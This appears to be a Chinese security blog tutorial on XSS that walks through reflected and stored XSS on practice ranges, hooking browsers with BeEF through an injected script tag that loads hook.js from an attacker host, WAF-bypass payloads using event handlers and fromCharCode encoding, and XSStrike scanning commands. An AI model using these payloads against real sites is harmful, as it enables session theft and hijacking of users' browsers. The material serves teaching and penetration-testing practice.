XSS漏洞解析博客

在 Web 安全领域,XSS 漏洞是最为常见且危害巨大的安全漏洞之一。了解 XSS 漏洞的原理、分类、实战利用以及防护绕过方法,无论是对于 Web 开发者提升网站安全性,还是对于安全从业者提升渗透测试技能,都有着至关重要的意义。

一、XSS 简介与危害

1. XSS 是什么

跨站脚本攻击 XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS。恶意攻击者往 Web 页面里插入恶意 Script 代码,当用户浏览该页面时,嵌入其中的 Script 代码会被执行,从而达到恶意攻击用户的目的。

2. XSS 的危害

XSS 漏洞一旦被利用,会给用户和企业带来严重的安全威胁,主要危害包括:

  1. 盗取各类用户账号,如机器登录帐号、用户网银帐号、各类管理员帐号

  2. 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

  3. 盗窃企业重要的具有商业价值的资料

  4. 非法转账

  5. 强制发送电子邮件

  6. 网站挂马

  7. 控制受害者机器向其它网站发起攻击(重定向语句)

  8. 窃取 cookie 的 sessionid,冒充登录。

二、反射型与存储型 XSS

XSS 攻击主要分为反射型和存储型两类,它们的攻击方式和危害程度有所不同。

1. 反射型 XSS

反射型 XSS 是非持久化的攻击方式,攻击者构造恶意链接,当用户点击该链接时,服务器会将恶意代码反射给用户的浏览器,浏览器执行恶意代码从而完成攻击。

案例 1:简单的反射型 XSS 示例

编写一个简单的 PHP 文件1.php

复制代码
​
<?php
 $xss = $_GET['x'];
 echo $xss;
?>

当访问http://localhost/1.php?x=<script>alert(1)</script>时,浏览器会执行<script>标签中的代码,弹出提示框,这就是最简单的反射型 XSS 攻击。

案例 2:靶场中的反射型 XSS

以 pikachu 靶场的反射型 XSS 页面为例,访问http://111.230.104.121:8765/vul/xss/xss_reflected_get.php?message=2&submit=submit,我们可以通过两种方式插入恶意脚本:

  • 方式一:直接修改 URL,将 message 参数替换为恶意脚本的 URL 编码形式:http://111.230.104.121:8765/vul/xss/xss_reflected_get.php?message=%3Cscript%3Ealert(1)%3C/script%3E&submit=submit

  • 方式二:通过 F12 进入开发者模式,修改输入框的长度限制,将lengthMax从 20 修改到 200,然后输入更长的恶意脚本。

2. 存储型 XSS

存储型 XSS 是持久化的攻击方式,攻击者将恶意代码提交到服务器的数据库中,当用户访问相关页面时,服务器会从数据库中取出恶意代码并返回给用户浏览器执行,攻击会持续存在,所有访问该页面的用户都会受到攻击,危害比反射型 XSS 更大。

案例:靶场中的存储型 XSS

以 pikachu 靶场的存储型 XSS 页面为例,访问http://111.230.104.121:8765/vul/xss/xss_stored.php,在输入框中输入<script>alert(1)</script>并提交,恶意代码会被存储到数据库中。之后所有访问该页面的用户都会触发弹窗,因为每次访问页面时,服务器都会从数据库中取出并执行这段恶意代码。

3. 总结

反射型 XSS 是一次性攻击,需要用户主动点击恶意链接;而存储型 XSS 是持久化攻击,所有访问相关页面的用户都会受到攻击,危害范围更广、危害程度更高。

三、XSS 综合实战案例

接下来我们通过 fdd 靶场的实战案例,来完整演示 XSS 漏洞的发现、利用以及通过 Beef 劫持网站的过程。

1. fdd 靶场搭建步骤

  1. 访问127.0.0.1/jfdd/install/install.php完成靶场的安装

  2. 安装完成后,前台地址为http://localhost/jfdd/,后台地址为http://localhost/jfdd/admin/login.php

2. XSS 漏洞重现

  1. 登录后台http://localhost/jfdd/admin/login.php

  2. 在后台的具体需求输入框中输入<script>alert(1)</script>并提交

  3. 当访问相关页面时,会触发弹窗,说明该页面存在 XSS 漏洞。

3. 使用 Beef 劫持网站

Beef-XSS 是一款功能强大的 XSS 漏洞利用工具,Kali 系统自带,基于 Ruby 语言开发,可以实现对用户主机的劫持和控制。

步骤 1:配置 Kali 软件源

首先修改 Kali 的软件源文件/etc/apt/sources.list,添加国内源以提高软件安装速度:

复制代码
​
#阿里源
deb https://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src https://mirrors.aliyun.com/kali kali-rolling main non-free contrib
#中科大战源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
#清华大学源
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#浙大源
deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
#东软大学源
deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
deb-src http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
#网易Kali源
deb http://mirrors.163.com/debian wheezy main non-free contrib
deb-src http://mirrors.163.com/debian wheezy main non-free contrib

执行apt update更新软件源。

步骤 2:安装并启动 Beef
  1. 安装 Beef:apt install beef-xss

  2. 启动 Beef:beef-xss

  3. 初次使用 Beef 时需要设置密码,如果忘记密码,可以在/usr/share/beef-xss/config.yaml文件中查看。

步骤 3:注入 Beef 恶意脚本
  1. 启动 Beef 后,访问http://127.0.0.1:3000/ui/authentication,使用用户名beef和设置的密码登录 Beef 后台。

  2. 构造恶意脚本,将 Beef 的 hook.js 注入到靶场的数据库中,比如输入<script src="http://192.168.220.128:3000/hook.js"></script>(这里的 IP 是 Kali 主机的 IP 地址)。

步骤 4:劫持并控制主机

当用户访问包含该恶意脚本的页面时,会被 Beef 劫持,在 Beef 后台可以看到上线的主机。此时可以执行各种恶意操作,比如:

  • 使用commands--redirect命令跳转用户页面

  • 模拟用户在宿主机上下单

  • 执行其他恶意脚本操作

四、XSS 的 WAF 绕过

WAF(Web 应用防火墙)是防护 XSS 漏洞的重要手段,它会过滤掉恶意的脚本代码。但是我们可以通过一些方法绕过 WAF 的防护。

1. WAF 防护效果

当未开启 WAF 时,直接输入<script>alert(1)</script>就可以触发 XSS 漏洞。当安装安全狗等 WAF 并开启防护后,访问http://localhost/1.php?x=<script>alert(1)</script>会被 WAF 拦截,无法触发弹窗。

2. 手工绕过方法

(1)标签语法替换

WAF 通常会过滤<script>标签,我们可以使用其他可以执行脚本的 HTML 标签来替换,比如:

  • audio 标签:利用 audio 标签的 onerror 事件,当音频加载失败时执行脚本。

    复制代码
    ​
    <audio src=x οnerrοr=alert(47)>
    <audio src=x οnerrοr=prompt(1);>
    <audio src=1 href=1 οnerrοr=javascript:alert(1)></audio>

    访问http://localhost/1.php?x=<audio src=x onerror=alert(47)>即可触发弹窗。

  • video 标签:类似 audio 标签,利用 onerror 事件执行脚本。

    复制代码
    ​
    <video src=x οnerrοr=prompt(1);>
    <video src=x οnerrοr=alert(48)>
  • button 标签:利用按钮的 onfocus 或 onclick 事件执行脚本。

    复制代码
    ​
    <button οnfοcus=alert(1) autofocus>
    <button/οnclick=alert(1) >xss</button>
(2)ASCII 加密绕过

将脚本代码转换为 ASCII 码,然后使用eval(String.fromCharCode())执行,这样 WAF 可能无法识别恶意代码。比如alert(1)的 ASCII 码是 97,108,101,114,116,40,49,41,构造如下代码:

复制代码
​
<details open οntοggle=eval(String.fromCharCode(97,108,101,114,116,40,49,41)) >

访问http://localhost/1.php?x=<details open ontoggle=eval(String.fromCharCode(97,108,101,114,116,40,49,41)) >即可触发弹窗。

3. XSStrike 工具绕过

XSStrike 是一款开源的 XSS 检测工具,可以自动检测 XSS 漏洞并绕过 WAF 防护,项目地址为https://github.com/s0md3v/XSStrike

(1)XSStrike 准备工作
  1. 确保系统使用 Python3 环境,更新 pip:python.exe -m pip install --upgrade pip -i https://mirrors.aliyun.com/pypi/simple/

  2. 下载 XSStrike 后,安装依赖:pip install -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/

(2)XSStrike 常用参数
复制代码
​
-h, --help //显示帮助信息
-u, --url //指定目标URL
--data //POST方式提交内容
-v, --verbose //详细输出
-f, --file //加载自定义paload字典
-t, --threads //定义线程数
-l, --level //爬行深度
-t, --encode //定义payload编码方式
--json //将POST数据视为JSON
--path //测试URL路径组件
--seeds //从文件中测试、抓取URL
--fuzzer //测试过滤器和Web应用程序防火墙。
--update //更新
--timeout //设置超时时间
--params //指定参数
--crawl //爬行
--proxy //使用代理
--blind //盲测试
--skip //跳过确认提示
--skip-dom //跳过DOM扫描
--headers //提供HTTP标头
-d, --delay //设置延迟
(3)XSStrike 实战案例
  1. fuzz 测试:测试 WAF 的过滤规则,执行命令:

    复制代码
    ​
    python xsstrike.py -u "http://localhost/1.php?x=1" --fuzzer
  2. 直接探测:执行命令:

    复制代码
    ​
    python xsstrike.py -u "http://localhost/1.php?x=1"

    如果没有加载 payload,可能是因为1.php的代码问题,修改1.php为 HTML 形式:

    复制代码
    ​
    <!DOCTYPE html><html>
    <head>
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    欢迎来到
    </head>
    <body>
    <h1 align=center>欢迎</h1>
    <?php
     $xss = $_GET['x'];
     echo $xss;
    ?>
    <center>测试XSS</center>
    </body>
    </html>

    再次执行探测命令,就可以成功检测到 XSS 漏洞。

五、思考与练习

通过本文的学习,我们对 XSS 漏洞有了全面的了解,接下来可以通过以下练习巩固所学知识:

  1. 请你介绍 XSS 是什么。

  2. 请你说说 XSS 能够带来那些危害。

  3. 画出 Beef 配合 XSS 劫持网站的流程。

  4. XSS 的 WAF 绕过怎么做,请说出自己的理解。

六、总结

XSS 漏洞是 Web 安全中常见且危害巨大的漏洞,分为反射型和存储型,存储型的危害更大。通过 Beef 等工具可以实现对 XSS 漏洞的利用,劫持用户主机。虽然 WAF 可以防护 XSS 漏洞,但是我们可以通过标签替换、加密等手工方法,或者使用 XSStrike 等工具绕过 WAF 防护。作为 Web 开发者,应该通过对用户输入进行过滤、转义,使用 CSP 等手段来防护 XSS 漏洞,提升网站的安全性。

相关推荐
ole ' ola2 小时前
lambda表达式
java·前端·jvm
wefly20172 小时前
无需安装、开箱即用!m3u8live.cn 在线 HLS 播放器,调试直播流效率翻倍
前端·后端·python·前端开发工具·后端开发工具
UXbot2 小时前
为什么 AI 正在重新定义 UI 设计工具的入门门槛
前端·人工智能·低代码·ui·交互·ai编程·ux
柳杉2 小时前
两款惊艳的 WebGL 开源项目推荐
前端·javascript·数据可视化
给算法爸爸上香2 小时前
web网页显示点云
前端·3d·web·点云
IT_陈寒2 小时前
React组件性能翻倍的5个冷门技巧,90%的开发者不知道!
前端·人工智能·后端
cramer_50h2 小时前
网络安全技术研究之漏洞和各种安全工具(二)
安全·web安全
湛生3 小时前
NoSQL注入
数据库·安全·web安全·网络安全·nosql
小金鱼Y3 小时前
别再乱拷贝了!JS 浅拷贝 vs 深拷贝全解析
前端·javascript